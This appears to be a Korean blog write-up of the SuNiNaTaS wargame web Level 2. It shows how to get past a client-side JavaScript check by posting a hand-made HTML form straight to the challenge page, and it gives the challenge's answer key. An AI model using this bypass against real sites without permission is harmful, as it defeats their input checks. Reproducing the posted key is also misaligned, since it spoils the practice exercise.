본문 바로가기

Hacking/- suninatas.com

[Web] Level 2

반응형

문제 링크 : http://suninatas.com/Part_one/web02/web02.asp


소스코드 보기를 한 후에 주석을 보면 id와 pw가 Join으로 같다는 것을 알 수 있다.    

그래서 ID에 Join을 넣고, PW에 Join을 넣고, 버튼을 눌렀더니 "You can't join! Try again."이라는 경고창이 뜬다.

소스코드를 분석해보니 제출 버튼을 누르게 되면 chk_form()이라는 자바스크립트 함수가 호출이 되고, 여기에서 id와 pw가 같은지를 체크해서 같으면 경고창을 띄우도록 되어 있다. 따라서 이 자바스크립트를 우회해야 한다.

툴을 쓰지 않고 간단하게 해결하기 위해서는 아래와 같은 html 파일을 생성하도록 한다.

<html>
<body>
	<form action="http://suninatas.com/Part_one/web02/web02.asp" method="POST">
		<input type="text" name="id" value="Join"><input type="text" name="pw" value="Join">
		<input type="submit">
	</form>
</body>
</html>

이렇게 만들어진 파일을 실행해서 제출 버튼을 누르게 되면 Authkey를 얻을 수 있다.


Authkey : Bypass javascript


반응형

'Hacking > - suninatas.com' 카테고리의 다른 글

[Web] Level 6  (0) 2015.10.25
[Web] Level 5  (0) 2015.10.24
[Web] Level 4  (0) 2015.10.24
[Web] Level 3  (0) 2015.10.24
[Web] Level 1  (0) 2015.10.24